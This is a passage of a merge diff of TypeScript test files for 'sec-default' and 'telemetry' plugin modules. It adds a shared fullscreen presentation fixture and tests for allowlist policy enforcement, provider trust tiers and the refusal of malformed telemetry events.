++ expect(Fixtures.jsonOf(tree)).not.toContain('"label":"✕"')
+
- expect(await $.ui.press({ plugin: 'test', key: 'close' })).toEqual({
- element: 'close',
- })
++ expect(
++ Fixtures.elementIn(header, {
++ type: isTurn ? 'Select' : 'Button',
++ name: isTurn ? 'source' : 'base',
++ }),
++ ).toBeDefined()
+ }
-
- expect(closes).toBe(models.length)
+ })
+ })
diff --cc mods/sec-default/tests/fixtures/fullscreen.ts
index 00000000,00000000..2abe8ba8
new file mode 100644
--- /dev/null
+++ b/mods/sec-default/tests/fixtures/fullscreen.ts
@@@ -1,0 -1,0 +1,10 @@@
++import type { CommandPresentation } from 'claude-code'
++
++/**
++ * Where a typed command's answer shows in these tests: the fullscreen
++ * layout on a 160-column terminal.
++ */
++export const FULLSCREEN: CommandPresentation = {
++ isFullscreen: true,
++ columns: 160,
++}
diff --cc mods/sec-default/tests/fixtures/index.ts
index e0e1615b,8a19054a..7dacbf05
--- a/mods/sec-default/tests/fixtures/index.ts
+++ b/mods/sec-default/tests/fixtures/index.ts
@@@ -1,8 -1,19 +1,20 @@@
+ export * from './agent-offered.js'
+ export * from './agent-spawned.js'
export * from './allowlist.js'
+ export * from './command-described.js'
+ export * from './denying.js'
export * from './dropping.js'
++export * from './fullscreen.js'
export * from './listing.js'
+ export * from './managed-policy.js'
+ export * from './marking.js'
export * from './memory.js'
export * from './no-allowlist.js'
+ export * from './odd-providers.js'
+ export * from './org-providers.js'
+ export * from './policy-command.js'
+ export * from './policy-reads.js'
+ export * from './reading.js'
export * from './registered-tool-of.js'
export * from './registering.js'
export * from './relabeling.js'
diff --cc mods/sec-default/tests/fixtures/policy-command.ts
index 00000000,42cba12f..6bd0c70e
mode 000000,100644..100644
--- a/mods/sec-default/tests/fixtures/policy-command.ts
+++ b/mods/sec-default/tests/fixtures/policy-command.ts
@@@ -1,0 -1,10 +1,13 @@@
+ import type { CommandRunInput } from 'claude-code'
+
++import { FULLSCREEN } from './fullscreen.js'
++
+ /**
+ * `/policy` as the person types it: the reading plugin's command.
+ */
+ export const POLICY_COMMAND: CommandRunInput = {
+ command: 'policy',
+ args: '',
+ origin: { kind: 'composer' },
++ presentation: FULLSCREEN,
+ }
diff --cc mods/sec-default/tests/fixtures/tools-command.ts
index cd7b1b31,2c213092..3a7b3530
--- a/mods/sec-default/tests/fixtures/tools-command.ts
+++ b/mods/sec-default/tests/fixtures/tools-command.ts
@@@ -1,5 -1,5 +1,7 @@@
import type { CommandRunInput } from 'claude-code'
++import { FULLSCREEN } from './fullscreen.js'
++
/**
* `/tools` as the person types it: the listing plugin's command.
*/
@@@ -7,5 -7,4 +9,5 @@@ export const TOOLS_COMMAND: CommandRunI
command: 'tools',
args: '',
origin: { kind: 'composer' },
- presentation: { isFullscreen: true, columns: 160 },
++ presentation: FULLSCREEN,
}
diff --cc mods/sec-default/tests/register.test.ts
index d1854379,60129271..08cb85d9
--- a/mods/sec-default/tests/register.test.ts
+++ b/mods/sec-default/tests/register.test.ts
@@@ -79,4 -136,173 +136,174 @@@ describe('register', () =>
})
},
)
+
+ test(
+ "a user plugin's rewrite of policy is skipped for every other reader",
+ {
+ plugins: [
+ Fixtures.stripping,
+ Fixtures.reading,
+ Fixtures.registering('mine'),
+ ],
+ },
+ async ($, on) => {
+ on('settings.read', () => ({ value: Fixtures.MANAGED_POLICY }))
+
+ const registered = Fixtures.toolsRegistered(on)
+ const { text } = await $.command.run(Fixtures.POLICY_COMMAND)
+
+ await $.session.start(Fixtures.SESSION)
+
+ expect(
+ JSON.parse(text ?? 'null'),
+ "another user plugin's read sees the allowlist the stripper hides",
+ ).toEqual(Fixtures.MANAGED_POLICY)
+
+ expect(
+ registered,
+ "sec-default's own tool.register hook still reads the allowlist",
+ ).toEqual([])
+ },
+ )
+
+ test(
+ "an organization provider's subject passes over the user plugins",
+ { plugins: [Fixtures.marking] },
+ async ($, on) => {
+ Fixtures.subjectsEchoed(on)
+
+ for (const provider of Fixtures.ORG_PROVIDERS) {
+ expect(
+ await $.tool.describe(
+ Fixtures.toolDescribed('mcp__corp__search', provider),
+ ),
+ ).toEqual({ description: 'd' })
+
+ expect(
+ (
+ await $.command.describe(
+ Fixtures.commandDescribed('suite:deploy', provider),
+ )
+ ).isHidden,
+ ).toBe(false)
+
+ expect(
+ await $.agent.offer(
+ Fixtures.agentOffered('suite:reviewer', provider),
+ ),
+ ).toEqual({ isOffered: true })
+
+ expect(await $.agent.spawn(Fixtures.agentSpawned(provider))).toEqual({
+ model: 'core',
+ })
+ }
+
+ for (const provider of Fixtures.USER_REACHABLE_PROVIDERS) {
+ expect(
+ await $.tool.describe(
+ Fixtures.toolDescribed('mcp__mine__search', provider),
+ ),
+ ).toEqual({ description: 'user: d' })
+
+ expect(
+ (
+ await $.command.describe(
+ Fixtures.commandDescribed('mine:deploy', provider),
+ )
+ ).isHidden,
+ ).toBe(true)
+
+ expect(
+ await $.agent.offer(Fixtures.agentOffered('reviewer', provider)),
+ ).toEqual({ isOffered: false })
+
+ expect(await $.agent.spawn(Fixtures.agentSpawned(provider))).toEqual({
+ model: 'user',
+ })
+ }
+ },
+ )
+
+ test(
+ 'an odd provider passes over the user plugins: it fails closed',
+ { plugins: [Fixtures.marking] },
+ async ($, on) => {
+ Fixtures.subjectsEchoed(on)
+
+ for (const provider of Fixtures.ODD_PROVIDERS) {
+ expect(
+ await $.tool.describe(Fixtures.toolDescribed('Bash', provider)),
+ ).toEqual({ description: 'd' })
+
+ expect(await $.agent.spawn(Fixtures.agentSpawned(provider))).toEqual({
+ model: 'core',
+ })
+ }
+ },
+ )
+
+ test(
+ 'a subject decision reads no policy; a burst of listings reads once',
+ { plugins: [Fixtures.listing] },
+ async ($, on) => {
+ const reads = Fixtures.policyReads(on, Fixtures.MANAGED_POLICY)
+
+ Fixtures.subjectsEchoed(on)
+ on('tool.list', () => ({ value: [...Fixtures.TOOLS] }))
+
+ for (const provider of Fixtures.ORG_PROVIDERS) {
+ await $.tool.describe(Fixtures.toolDescribed('mcp__corp__x', provider))
+ await $.agent.spawn(Fixtures.agentSpawned(provider))
+ }
+
+ expect(reads()).toBe(0)
+
+ await Promise.all([
+ $.command.run(Fixtures.TOOLS_COMMAND),
+ $.command.run(Fixtures.TOOLS_COMMAND),
+ $.command.run(Fixtures.TOOLS_COMMAND),
+ ])
+
+ expect(reads()).toBe(1)
+ },
+ )
+
+ test(
+ 'the refusal a user-tier caller reads names the allowlist',
+ {
+ plugins: [
+ {
+ name: 'asking',
+ register(on) {
+ on('command.run', { command: 'greet' }, $ =>
+ $.tool
+ .register({
+ name: 'greet',
+ description: 'Says hello.',
+ inputSchema: { type: 'object' },
+ })
+ .then(
+ () => ({ text: 'registered' }),
+ (error: unknown) => ({ text: String(error) }),
+ ),
+ )
+ },
+ },
+ ],
+ },
+ async ($, on) => {
+ on('settings.read', () => ({ value: Fixtures.ALLOWLIST }))
+
+ const { text } = await $.command.run({
+ command: 'greet',
+ args: '',
+ origin: { kind: 'composer' },
++ presentation: Fixtures.FULLSCREEN,
+ })
+
+ expect(text).toEndWith(
+ `asking: $.tool.register: ${Hooks.TOOL_REGISTER_REFUSAL}`,
+ )
+ },
+ )
})
diff --cc mods/telemetry/tests/fixtures/index.ts
index b5019985,29ccb260..df60764d
--- a/mods/telemetry/tests/fixtures/index.ts
+++ b/mods/telemetry/tests/fixtures/index.ts
@@@ -2,9 -6,14 +6,15 @@@ export * from './base64-digit-bits.js
export * from './batch-of.js'
export * from './bearer.js'
export * from './first-party-session.js'
+export * from './fullscreen.js'
+ export type * from './ingest-batch.js'
+ export type * from './ingest-event.js'
+ export * from './mark.js'
+ export * from './marking.js'
export * from './record.js'
export * from './recording.js'
+ export * from './refused.js'
+ export * from './row-of.js'
export * from './survey-answer.js'
export * as default from '.'
diff --cc mods/telemetry/tests/fixtures/mark.ts
index 00000000,fbdf7dfb..e12234ae
mode 000000,100644..100644
--- a/mods/telemetry/tests/fixtures/mark.ts
+++ b/mods/telemetry/tests/fixtures/mark.ts
@@@ -1,0 -1,14 +1,17 @@@
+ import type { CommandRunInput } from 'claude-code'
+
++import { FULLSCREEN } from './fullscreen.js'
++
+ /**
+ * The command that has the marking plugin mark an entry, typed as the
+ * person would type it; an entry that is no object rides as it is.
+ *
+ * @param entry what to mark
+ * @returns `/mark <entry>`
+ */
+ export const mark = (entry: unknown): CommandRunInput => ({
+ command: 'mark',
+ args: JSON.stringify(entry),
+ origin: { kind: 'composer' },
++ presentation: FULLSCREEN,
+ })
diff --cc mods/telemetry/tests/register.test.ts
index 75037ebc,1ba3cde7..b3a92e9a
--- a/mods/telemetry/tests/register.test.ts
+++ b/mods/telemetry/tests/register.test.ts
@@@ -127,12 -254,75 +254,76 @@@ describe('register', () =>
const posts = Fixtures.firstPartySession(on)
+ const refusalFor = async (entry: unknown) =>
+ (
+ await $.command.run({
+ ...Fixtures.record(Fixtures.surveyAnswer()),
+ args: JSON.stringify(entry),
+ })
+ ).text
+
+ expect(
+ await refusalFor({ event: 'x', props: { note: 'hello world' } }),
+ ).toEndWith(
+ '$.telemetry.log: props.note: free text is refused; a string is a ' +
+ 'Choice, { value, of: [...] }',
+ )
+
+ expect(
+ await refusalFor({
+ event: 'x',
+ props: { page: { value: 'elsewhere', of: ['ready', 'later'] } },
+ }),
+ ).toEndWith(
+ '$.telemetry.log: props.page.value: one of the members of `of`',
+ )
+
+ expect(await refusalFor({ event: 'Survey' })).toEndWith(
+ '$.telemetry.log: takes an event name, a snake_case token',
+ )
+
+ expect(
+ await refusalFor({ event: 'x', props: { 'a path': 1 } }),
+ ).toEndWith('$.telemetry.log: props: every key is a snake_case token')
+
+ expect(await refusalFor('x')).toEndWith(
+ '$.telemetry.log: takes one entry, { event, props? }',
+ )
+
+ expect(posts).toEqual([])
+ },
+ )
+
+ test(
+ 'a number that is not finite is refused, nothing sent',
+ {
+ plugins: [
+ {
+ name: 'counting',
+ register(on) {
+ on('command.run', { command: 'count' }, $ =>
+ $.telemetry.log({ event: 'x', props: { n: Number.NaN } }).then(
+ () => ({ text: 'sent' }),
+ (error: unknown) => ({ text: String(error) }),
+ ),
+ )
+ },
+ },
+ ],
+ },
+ async ($, on) => {
+ mock.env(on, {})
+
+ const posts = Fixtures.firstPartySession(on)
+
const { text } = await $.command.run({
- ...Fixtures.record(Fixtures.surveyAnswer()),
- args: '{"event":"survey_answered","props":{"note":"hello world"}}',
+ command: 'count',
+ args: '',
+ origin: { kind: 'composer' },
++ presentation: Fixtures.FULLSCREEN,
})
- expect(text).toContain('props.note: free text is refused')
+ expect(text).toEndWith('$.telemetry.log: props.n: a number is finite')
expect(posts).toEqual([])
},
)